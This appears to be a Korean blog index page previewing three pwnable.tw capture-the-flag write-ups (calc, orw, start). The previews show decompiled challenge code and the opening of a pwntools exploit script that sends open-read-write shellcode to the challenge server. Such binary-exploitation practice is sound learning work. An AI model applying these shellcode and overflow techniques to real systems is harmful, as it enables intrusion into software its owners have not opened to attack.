write-up(pwn)/pwnable.tw

    [pwnable.tw] calc write-up

    [pwnable.tw] calc write-up

    시간 제한이 걸려있는 계산기다.편의를 위해 변수 이름을 바꾸고 구조체를 만들었다.00000000 pool_st struc ; (sizeof=0x194, mappedto_16)00000000 ; XREF: calc/r00000000 pool_idx dd ? ; XREF: calc+7D/r00000004 buf dd 100 dup(?) ; XREF: calc+86/r00000194 pool_st ends00000194메인 함수는 계산기 함수 calc를 호출해준다.int __cdecl main(int argc, const ch..

    [pwnable.tw] orw write-up

    [pwnable.tw] orw write-up

    문제 제목과 설명 그대로 orw 쉘 코드를 실행시켜주면 된다.int __cdecl main(int argc, const char **argv, const char **envp){ orw_seccomp(); printf("Give my your shellcode:"); read(0, &shellcode, 200); ((void (*)(void))shellcode)(); return 0;} seccomp-tools로 확인해보면 다음과 같다. 로컬 문제 파일에선 shellcode 영역에 x권한이 없는데 리모트에는 있는 듯 하다.from pwn import *p = process('./orw')p = remote('chall.pwnable.tw', 10001)pay = asm(shellcraft.ope..

    [pwnable.tw] start write-up

    [pwnable.tw] start write-up

    특이사항으로 스택에 실행 권한이 있다. 문제 코드는 다음과 같다.__int64 start(){ __int64 result; // rax result = 0x3C00000003LL; __asm { int 80h; LINUX - sys_write int 80h; LINUX - sys_read } return result;} 어셈으로 보면 다음과 같으며 syscall table을 참조하여 해석할 수 있다..text:08048060 ; __int64 start().text:08048060 public _start.text:08048060 _start proc near ; DATA XREF: LOAD:0804..